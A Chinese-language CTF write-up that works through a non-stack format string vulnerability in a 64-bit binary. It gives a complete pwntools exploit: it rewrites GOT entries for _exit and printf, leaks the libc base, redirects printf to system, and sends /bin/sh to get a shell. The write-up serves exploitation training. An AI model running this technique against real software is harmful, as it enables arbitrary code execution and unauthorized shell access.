悄悄话:
一直在学堆,好久没写栈了,看到个这个题目,真的感慨当初学了个啥,思路上秒了,但不知道怎么实现,真是没招了,只能找大佬要脚本,觉得是格式化字符漏洞中比较典型,又难搞的题目,这里就当一个复现,写了详细的wp,不知道理解的对不对,后续可能理一些知识点出来。
准备

64 位,开了 NX 保护
分析
main函数
1 2 3 4 5 6 7 8 9 10
| int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); puts("Please checkin first"); read(0, buf, 0x100u); printf(buf); _exit(0); }
|
很明显的输入后,直接用 printf 输出输入内容,产生格式化字符串漏洞
思路
这题是非栈上的格式化字符串漏洞,但触发后程序直接退出,没有直接的连接点
解题思路:
- 修改
exit_got 为 main 函数,可以多次利用格式化字符串漏洞
- 泄露出
libc 基址,得到 system
- 修改
printf_got 为 system 函数,最后输入 /bin/sh\x00 触发连接
因为输入点是在 bss 段,不在栈上,没法直接获得偏移进行写入
这里可以通过 printf 的参数进行写入
先 gdb 调试一下
通过输入大量的 %c 来查看 call printf@plt 处具体的参数情况

可以在 arg[8] 处构造写入,填充是 6(rdx--arg[7])
所以先写入 exit_got
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(os='linux', log_level='debug', arch='amd64') # io = remote('node5.buuoj.cn',27371) io = process('/home/raider/pwn') elf = ELF('/home/raider/pwn') libc=ELF('/home/raider/libc.so.6') gdb.attach(io,'b *0x40124F\nc') def xilker(x, code=95): return f"\x1b[{code}m{x}\x1b[0m"
exit_got = elf.got['_exit'] target1 = exit_got & 0xffff main = 0x4011B6 target2 = main & 0xffff log.success(xilker(f'target1-->{hex(target1)}')) log.success(xilker(f'target2-->{hex(target2)}'))
payload = b'%c'*6+(f'%{target1 - 6}c%hn').encode() io.recvuntil(b"Please checkin first\n") io.sendline(payload)
io.interactive()
|


再修改指向 main 函数
1 2 3 4
| payload = b'%c'*6+(f'%{target1 - 6}c%hn').encode() payload += b'%c'*6+(f'%{(target2 - target1 - 6) % 0x10000}c%hn').encode() io.recvuntil(b"Please checkin first\n") io.sendline(payload)
|
这里 target1 比 target2 小,所以要加一个取模操作

接下来是获得 libc 基址
在上面调试的时候,可以看到有一个 __libc_start_main+139 参数,可以通过这个泄露 libc 基址
先查看参数偏移

得到的数据是 27
但这里有一个小坑
添加截断后发送,发现 libc 基址读取错误

真正的偏移是 29
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| payload = b'%c'*6+(f'%{target1 - 6}c%hn').encode() payload += b'%c'*6+(f'%{(target2 - target1 - 6) % 0x10000}c%hn').encode() io.recvuntil(b"Please checkin first\n") io.sendline(payload)
io.recvuntil(b"Please checkin first\n") io.sendline(b'%29$p\x00')
io.recvuntil(b'0x') libc_start_main=int(io.recv(12),16)-139 log.success(xilker(f'libc_start_main-->{hex(libc_start_main)}'))
libc_base=libc_start_main-libc.sym['__libc_start_main'] log.success(xilker(f'libc_base-->{hex(libc_base)}')) system=libc_base+libc.sym['system']
|
然后修改 printf_got 为 system 函数
查看现在的参数情况


需要两个连续的地址,来依次写入 printf_got 的低地址和修改 printf_got 的低地址为 system 函数的低地址
可以利用 arg[12] 处写入 printf_got 的低地址,需要 10 个的填充(rdx 开始算个数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| io.recvuntil(b"Please checkin first\n") io.sendline(b'%29$p\x00')
io.recvuntil(b'0x') libc_start_main=int(io.recv(12),16)-139 log.success(xilker(f'libc_start_main-->{hex(libc_start_main)}'))
libc_base=libc_start_main-libc.sym['__libc_start_main'] log.success(xilker(f'libc_base-->{hex(libc_base)}')) system=libc_base+libc.sym['system']
printf_got = elf.got['printf'] tar1=printf_got & 0xffff high = (system >> 16) & 0xffff low = system & 0xffff
payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode()
io.recvuntil(b"Please checkin first\n") io.sendline(payload2)
|


加上截断继续查看当前情况
1 2 3 4
| payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode()+b'\x00'
io.recvuntil(b"Please checkin first\n") io.sendline(payload2)
|

需要在第 8 个处写入 system 函数的低地址,考虑坑点和调试,得出需要 6 个填充
1 2 3 4 5
| payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode() payload2 += b"%c" * 6 + (f"%{low - tar1 - 6}c%hn").encode()
io.recvuntil(b"Please checkin first\n") io.sendline(payload2)
|
同理的修改 printf_got 的高地址为 system 函数的高地址
选取连续的两个地址

同上偏移为 6
1 2 3 4 5 6
| payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode() payload2 += b"%c" * 6 + (f"%{low - tar1 - 6}c%hn").encode() payload2 += b"%c" * 6 + (f"%{(printf_got + 2)-low-6}c%n").encode()+b'\x00'
io.recvuntil(b"Please checkin first\n") io.sendline(payload2)
|
前面已经修改了 printf_got 的两字节,所以这里是 printf_got+2

同上得到偏移 16
1 2 3 4 5 6 7
| payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode() payload2 += b"%c" * 6 + (f"%{low - tar1 - 6}c%hn").encode() payload2 += b"%c" * 6 + (f"%{(printf_got + 2)-low-6}c%n").encode() payload2 += b"%c" * 16 + (f"%{(high-(printf_got + 2)-16)%0x10000}c%hn").encode()+b'\x00'
io.recvuntil(b"Please checkin first\n") io.sendline(payload2)
|
这里 high-(printf_got + 2)-16 为负的影响写入,加一个取模操作

调试得到 printf_got 指向 system
最后一步发送 /bin/sh\x00 触发连接
1 2 3 4 5 6 7 8 9 10
| payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode() payload2 += b"%c" * 6 + (f"%{low - tar1 - 6}c%hn").encode() payload2 += b"%c" * 6 + (f"%{(printf_got + 2)-low-6}c%n").encode() payload2 += b"%c" * 16 + (f"%{(high-(printf_got + 2)-16)%0x10000}c%hn").encode()+b'\x00'
io.recvuntil(b"Please checkin first\n") io.sendline(payload2)
io.recvuntil(b"Please checkin first\n") io.sendline(b'/bin/sh\x00')
|
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * context(os='linux', log_level='debug', arch='amd64') # io = remote('node5.buuoj.cn',27371) io = process('/home/raider/pwn') elf = ELF('/home/raider/pwn') libc=ELF('/home/raider/libc.so.6') #gdb.attach(io,'b *0x40124F\nc') def xilker(x, code=95): return f"\x1b[{code}m{x}\x1b[0m"
exit_got = elf.got['_exit'] target1 = exit_got & 0xffff main = 0x4011B6 target2 = main & 0xffff log.success(xilker(f'target1-->{hex(target1)}')) log.success(xilker(f'target2-->{hex(target2)}'))
payload = b'%c'*6+(f'%{target1 - 6}c%hn').encode() payload += b'%c'*6+(f'%{(target2 - target1 - 6) % 0x10000}c%hn').encode() io.recvuntil(b"Please checkin first\n") io.sendline(payload)
io.recvuntil(b"Please checkin first\n") io.sendline(b'%29$p\x00')
io.recvuntil(b'0x') libc_start_main=int(io.recv(12),16)-139 log.success(xilker(f'libc_start_main-->{hex(libc_start_main)}'))
libc_base=libc_start_main-libc.sym['__libc_start_main'] log.success(xilker(f'libc_base-->{hex(libc_base)}')) system=libc_base+libc.sym['system']
printf_got = elf.got['printf'] tar1=printf_got & 0xffff high = (system >> 16) & 0xffff low = system & 0xffff
log.success(xilker(f'tar1-->{hex(tar1)}')) log.success(xilker(f'printf_got+2-->{hex(printf_got+2)}')) log.success(xilker(f'high-->{hex(high)}')) log.success(xilker(f'low-->{hex(low)}'))
payload2 = b'%c'*10 + (f'%{tar1 - 10}c%hn').encode() payload2 += b"%c" * 6 + (f"%{low - tar1 - 6}c%hn").encode() payload2 += b"%c" * 6 + (f"%{(printf_got + 2)-low-6}c%n").encode() payload2 += b"%c" * 16 + (f"%{(high-(printf_got + 2)-16)%0x10000}c%hn").encode()+b'\x00'
io.recvuntil(b"Please checkin first\n") io.sendline(payload2)
io.recvuntil(b"Please checkin first\n") io.sendline(b'/bin/sh\x00') io.interactive()
|